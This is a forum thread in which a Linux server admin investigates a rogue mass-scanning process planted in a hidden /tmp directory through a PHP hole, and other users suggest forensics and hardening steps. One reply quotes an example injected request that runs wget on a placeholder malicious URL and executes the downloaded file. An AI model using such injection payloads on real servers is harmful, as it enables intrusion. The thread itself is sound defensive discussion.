hey

anyone knows what this is?

./mass-s1000-l24.log24.*.*.*

its running and consuming loads of cpu... user running it is "nobody".

should i kill it? grrrr

Where is the file located & what are the contents? My instict says to kill it.

- Matt

ive killed it...

the contents where a massive amount of ips from a range on wich he was doing something i dont know... my guess... scaning :/

my box gets scanned so many damn times a day that i cant even count them... is there any way i can block ips after they get the password wrong like.. 5 times or so? errr

also what user is it running as? Yes I'd say this should be killed most likely.

Use BruteForce Detector and APF it is a linux box. :)

Check your /tmp partition. I'm willing to bet that it was compiled in there. Check for a folder named something like mass_prov2 or something along those lines.

when I catch a process like this I do a couple things:

ps -wef | grep <procname>

For example:
[root@www1 runall]# ps -wef | grep bash
root 27238 27237 0 Aug22 ttyp0 00:00:00 -bash


See if it has a parent pid if so see what spawned it, that 3rd column is the parent process id, if that is any number BUT 1 then the process has a parent, you want to know what that is.

[root@www1 runall]# ps -wef | grep 27237
root 27237 848 0 Aug22 ? 00:00:00 /usr/sbin/sshd
root 27238 27237 0 Aug22 ttyp0 00:00:00 -bash

OK so you can see sshd spawned the bash process (my login actually).

Then you can dig more.

Go to /proc/<PID> (in this case 27238)

[root@www1 runall]# cd /proc/27238
[root@www1 27238]# ls
cmdline cwd environ exe fd maps mem mounts root stat statm status
root@www1 27238]# cat environ
USER=rootLOGNAME=rootHOME=/rootPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binMAIL=/var/mail/rootSHELL=/bin/bashSSH_CLIENT=69.73.59.167 1035 22SSH_TTY=/dev/ttyp0TERM=linux[root@www1 27238]#cat cmdline
-bash[root@www1 27238]#

This gives some more info
Home directory, path being used (sometimes this can be important usually not).
cmdline can be real important or not.

If this is a bastard process (bindshell maybe) spawned by a bad php script the HOME directory will usually tell you where it started (what site). cmdline is usually /tmp/something for these type procs or /dev/shm/something or /var/tmp/something.

You can also use lsof, this gives a LOT of data so you gotta sift through it

lsof | grep ^name

[root@www1 27238]# lsof | grep ^bash
bash 27238 root cwd DIR 0,2 0 1785069570 /proc/27238
bash 27238 root rtd DIR 3,2 4096 2 /
bash 27238 root txt REG 3,2 519964 6684690 /bin/bash
bash 27238 root mem REG 3,2 494394 196611 /lib/ld-2.2.4.so
bash 27238 root mem REG 3,2 11832 196685 /lib/libtermcap.so.2.0.8
bash 27238 root mem REG 3,2 66041 196625 /lib/libdl-2.2.4.so
bash 27238 root mem REG 3,2 5790505 5914627 /lib/i686/libc-2.2.4.so
bash 27238 root mem REG 3,2 18908 196644 /lib/libnss_ensimvwh.so.2
bash 27238 root mem REG 3,2 262328 196646 /lib/libnss_files-2.2.4.so
bash 27238 root mem REG 3,2 355324 196654 /lib/libnss_nisplus-2.2.4.so
bash 27238 root mem REG 3,2 436356 196630 /lib/libnsl-2.2.4.so
bash 27238 root mem REG 3,2 173408 5931020 /usr/lib/locale/en_US/LC_CTYPE
bash 27238 root 0u CHR 3,0 70118 /dev/ttyp0
bash 27238 root 1u CHR 3,0 70118 /dev/ttyp0
bash 27238 root 2u CHR 3,0 70118 /dev/ttyp0
bash 27238 root 255u CHR 3,0 70118 /dev/ttyp0

In this case bash doesn't have many files open however when bindshell or other crap launches it usually inherits apache's open file list and the resulting output is often several hundred lines.

good stuff :)

too bad i killed it already.

**** its back :/



root@server [~]# ps -wef | grep 14850
nobody 14850 1 75 22:16 ? 00:45:02 ./mass -s 400 -l 24.log 24.13.*.
*
nobody 14852 14850 0 22:16 ? 00:00:00 ./mass -s 400 -l 24.log 24.13.*.
*
root 20315 20247 0 23:16 pts/2 00:00:00 grep 14850
root@server [~]#


.........................................


root@server [/proc]# cd 14850
root@server [/proc/14850]# ls
./ ../ cmdline cpu cwd@ environ exe@ fd/ maps mem mounts root@ stat statm status
root@server [/proc/14850]# cat environ
SHELL=/bin/bashTERM=xtermUSER=rootLS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32: *.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01 ;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov =01;37:PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbinMAIL=/var/mail/rootPWD=/tmp/. /ussl-scan/scanSHLVL=3HOME=/tmpLS_OPTIONS= --color=auto -F -b -T 0LOGNAME=rootHISTFILE=/dev/nullroot@server [/proc/14850]#


where is more.....


mass 14850 nobody cwd DIR 3,7 4096 102369 /tmp/. /ussl-scan/scan
mass 14850 nobody rtd DIR 3,2 4096 2 /
mass 14850 nobody txt REG 3,7 35666 102370 /tmp/. /ussl-scan/scan/mass
mass 14850 nobody mem REG 3,2 107724 733512 /lib/ld-2.3.2.so
mass 14850 nobody mem REG 3,2 1563984 765722 /lib/i686/libc-2.3.2.so
mass 14850 nobody 0u CHR 3,1 202490 /dev/ttyp1
mass 14850 nobody 1w CHR 1,3 195458 /dev/null
mass 14850 nobody 2w CHR 1,3 195458 /dev/null
mass 14850 nobody 3u REG 3,7 0 15 /tmp/ZCUDhVgDfi (deleted)
mass 14850 nobody 4r FIFO 0,5 570762424 pipe
mass 14850 nobody 5w FIFO 0,5 570762424 pipe
mass 14850 nobody 6w REG 3,7 46045 102375 /tmp/. /ussl-scan/scan/24.log


so i guess its running in /tmp/. /ussl-scan/

now.. i can delete it BUT how do i make sure the person that put it there doesnt put it again? :/

www.rack911.com and have him do a security audit. :)

root@server [/tmp]# ls
./ ../ .ksocket* mysql.sock@ sess_e24039c198198797244cb608d51611af
.\ / .font-unix/ lost+found/ phpzxvf/ sess_e537efd18c5d7e964e0ba1a6d0fff9c0

cant acess the .\ folder... damn. Any ideias?

The .\ is interesting... \ is often used as an escape character, or to indicate a line continuation. It might be a fluke, but if I were a clever person up to something, I'd probably want to name it something like that.

Try "cd .\\". I *think* the \ escapes the \ -- the first one tells bash that the next character is literal. (Don't try to my "guess with wildwildcards" approach with rm, but the worst that'll happen with cd is that you'll end up in the wrong directory.)

the only way i managed to get there is via FTP with a Wheel Group User... but i cant remove/edit anythingbecause i lack the permissions.

/tmp/. /ussl-scan/

is the ftp path.. but that path wont work on ssh

any ideias how can i delete this stuff? grrrr

Originally posted by nicmo

so i guess its running in /tmp/. /ussl-scan/


Oh! I totally missed what was going on in my last post. The directory is named ". " (the space is important, hence the quotes. The . makes it hidden, and the space makes it a PITA for someone who's not really experienced with the command line to get into.

So two thoughts:
cd "/tmp/. /ussl-scan/"
cd /tmp/.\ /ussl-scan

Your shell'll interpret the space as moving onto the next argument, which is why it's such a good thing to name something you don't want someone to see. The first approach throws the whole thing in quotes, which might work. The second approach uses the \ to escape the space.


now.. i can delete it BUT how do i make sure the person that put it there doesnt put it again? :/

Remove shell access from who put it there. And if no one else has shell access, hunt around for unnecessary accounts (some systems will have 50+ accounts for various system processes; most shouldn't have a login shell, or should have something like /bin/false as a login shell), and consider changing all the passwords.

yep it worked fine cd "/tmp/. /ussl-scan/" :) thanks

the owner of the process is "nobody" so i cant really do anything...

i did a search on this script and its used to attack other servers...

so it was spawned by a process that already is nobody, apache maybe? I know on most servers apache is now ran as "apache" and not nobody anymore, do a ps -wef and grep nobody see if your httpd is running as nobody.

If so you need to scan your log files for "wget" betcha wget was used to retrieve the file from elsewhere then it was run, running as nobody (assuming apache is running as nobody) means it had to be launched by a php process most likely, unless you're not running suexec on your cgi.

I see these from time to time, one BIG deterrent to this crap is to do this (warning this MIGHT break some things but so far it ain't broke nothing important and I've done this on all servers):

chmod 700 `which wget`
chown root:root `which wget`

Also if you have "fetch" do the same for it, and lynx
you can see if they're in your path doing a "which fetch" and "which lynx" first.

This makes it so only root can even run wget (lynx/fetch) so scripts can't use "wget" to download crap, of course this doesn't stop any but the most kiddie of script kiddies but hey, it does stop those and that's usually what plagues me anyway.

31257 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m91
31594 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m93
31885 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m95
32549 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m94


yeah "nobody" is running apache...


this is a real pain in the but... grrr

Originally posted by nicmo
yep it worked fine cd "/tmp/. /ussl-scan/" :) thanks

the owner of the process is "nobody" so i cant really do anything...

i did a search on this script and its used to attack other servers...

Why can't you do anything? You're not root?

yes i am root and ive deleted the files...

what i meat was that since its a user that has to be kinda public and cant be deleted/changed password... there isnt much i cand do is there? :/

The files i deleted are there again... :/ its recompiled and tryng to run again.

Try what DixieSys recommended, and search Apache's logfiles for "wget":
cat /path/to/logfiles/access_log | grep wget

Note, though, that this wouldn't necessarily do much. If I wanted to have Apache download a remote file, I'd use PHP and fopen(), as opposed to wget. But it's worth looking for.

(BTW, it might stop this crap, but making wget something users can't get to would REALLY annoy me if I was on your box. I'm constantly downloading updates, new PHP scripts, etc. using wget, which often gets me MB/sec+ downloads, rather than downloading it to home, and uploading it with my 128kbps-capped cable modem. Maybe not many people do that, but I do.)

You could also just use "tail -f" on the system (Apache) logfile to watch what URLs were getting hit, which would be a big tip-off if the attack is indeed coming through HTTP.

Originally posted by fog
Try what DixieSys recommended, and search Apache's logfiles for "wget":
cat /path/to/logfiles/access_log | grep wget

Note, though, that this wouldn't necessarily do much. If I wanted to have Apache download a remote file, I'd use PHP and fopen(), as opposed to wget. But it's worth looking for.

(BTW, it might stop this crap, but making wget something users can't get to would REALLY annoy me if I was on your box. I'm constantly downloading updates, new PHP scripts, etc. using wget, which often gets me MB/sec+ downloads, rather than downloading it to home, and uploading it with my 128kbps-capped cable modem. Maybe not many people do that, but I do.)

Yes you would however the attacker is probably not a valid user else he's just run "shell.php" and launch everything that way. This I bet is a remote attacker using a flaw in one php program or another and using it to spawn shells running one command commonly "uname%20-a;cd%20/tmp;wget%20http://maliciousurl;/tmp/maliciousfile" the entry will look often like "GET /bad.php?blah=uname%20-a;cd%20/tmp;wget%20http://maliciousurl;/tmp/maliciousfile" or similar.

Oh, hmm, hadn't even considered that it might not be a customer.

Had someone on my server get 'hacked' this way, though it was just vandalism to his site, no nasty system stuff.

31023 nobody 0 71.9 0.2 /usr/local/apache/bin/httpd -DSSL -s500-l24.log24.15.*.*
12760 root 0 12.7 0.6 /usr/local/apache/bin/httpd-DSSL
457 root 0 1.7 0.2 0 top -n 2 -b -
31257 nobody 0 0.5 0.4 /usr/local/apache/bin/httpd -DSSL -m91
21799 nobody 0 0.5 0.4 /usr/local/apache/bin/httpd -DSSL -m90
32705 nobody 0 0.3 0.4 /usr/local/apache/bin/httpd -DSSL -m97
3049 named 0 0.1 0.3 /usr/sbin/named-unamed
31594 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m93
32549 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m94
21825 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m93
21834 nobody 0 0.1 0.4 /usr/local/apache/bin/httpd -DSSL -m96


its changing names now... argh i bet he is ON right now trying to get his **** to run...

i am gonna chmod wget right now.

lol this was fun...

i did this in the folder he was using

mkdir IknowWhoYouAreStopIt

and 5 mins later the ". " folder was gone...

now he replied... /HAHAAH-BOX-DE-PHP-EH-DE-TODOMUNDOOOOO/

wich means... he is from brasil by the looks of it...

and he is saying this php box is for everyone... lol

bah :/

Originally posted by nicmo
lol this was fun...

i did this in the folder he was using

mkdir IknowWhoYouAreStopIt

and 5 mins later the ". " folder was gone...

I'm getting way too into helping out here. I keep refreshing the thread to see what's going on.

I want to know how they're seeing the contents of their /tmp/. / directory. Are they just using the same exploit to 'cat' it, or do they have FTP/shell access to get in there?

Originally posted by nicmo
now he replied... /HAHAAH-BOX-DE-PHP-EH-DE-TODOMUNDOOOOO/

Sounds like it's definitely time for some "tail -f" on the Apache logfile. (Do you know where it is? "locate access_log" may work if you don't.) Ideally, you'll see requests for some long, strange URL that you can tell is 'not right.' Then you've got his IP. (Or, more correctly, the IP being used to view your site. If he's smart, he's going through a proxy or fifty.)

and btw i dont have any clients... i run this boc for me only for all my projects/sites etc

one of the sites has 50k uniq visits a day... so that might help atracting "hackers" :/

i am running tail -f on the log right now but i think he ran away tho...

What version of PHP are you running?

If you are unsure do "php -v"

PHP 4.3.8 (cli) (built: Jul 14 2004 16:11:34)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies
with Zend Extension Manager v1.0.3, Copyright (c) 2003-2004, by Zend Technologies
with Zend Optimizer v2.5.3, Copyright (c) 1998-2004, by Zend Technologies

Can your sites run with Open_base dir on? If so I would enable it.

Open_base dir on? what does it do? :/

It allows you to lock sites into there specific directories they use for hosting.

I would also enable phpsuexec if you can without messing with your sites. It allows you to view which user is running a php process.

But, as he said, it's all for his stuff; he's not hosting 'clients' -- they're all his own sites.

I suppose it's actaully a good idea to do, but I don't know anyone who creates separate users for each of their websites, if they maintain them all. So phpsuexec would just show him that it was... one of his sites.

If he is using a control panel each will have it's own user.

i am using cpanel... ech site/domain has a diferent user..

should Open_base dir be on or off and how do i change his state?

You can change it under "tweak security"

You should also run the security scans.

You would need to run easy apache to rebuild apache with phpsuexec.

Be carefull as some php scripts don't like phpsuexec. We can't run it on some of our servers.

ok i enabled it :)

still no word from the spoiler... since the wget chmod and the folder talking lol

u guys have been great help, thanks alot.

As long as you are at it go here:
http://www.rhtalk.com/showthread.php?t=14

I would recommend performing those steps on your server. Doesn't do everything, but gets a majority of it done.

you'll probably want to edit the /etc/fstab and set /tmp (assuming it has its own partition, which it should) to "nosuid, noexec" amongst other variables. This will help prevent people from exec'ing stuff in /tmp.

Doesen't tend to help much for a few other locations though (eg. mail spools, /dev/shm, etc.).

this is what he was using on my box...

(file in atachment)

maybe some of you who know about this things better than me can find out how to prevent atleast this kind of hack...

Typical php script exploit. Make sure you stoped it at the root, otherwise he will be back and your datacenter "may" unplug your box. Most of the tiem they want you to get an os reinstall.

it says that it exploits insecure 'includes' and 'requires' within php. I would recommend that you check your php code for insecure includes/requires.
check this url:http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

I c and an other with similar proplem,
somehow gain access nobody user. with (cpanel)
!!!-> make the /tmp /var/tmp to not execute files inside and will stop this. Is easy to make it from fstab. <<||
this will finish this trables.

I belive there is a bug in the php and somehow gain acces and write in the tmp. Then start a deamon as nobody . like telnet and then they gain access. So take a look of the opne ports you have in your box

If your users dont need the gcc,cc etc make them 700 for root
and if you stop the wget with 700 is nothing because the ftp,lynx and etc is still available.

The next you have to do is to run in bg one script and when found shell access for nobody .

Good luck

check this http://www.webhostgear.com/index.php?art/id:34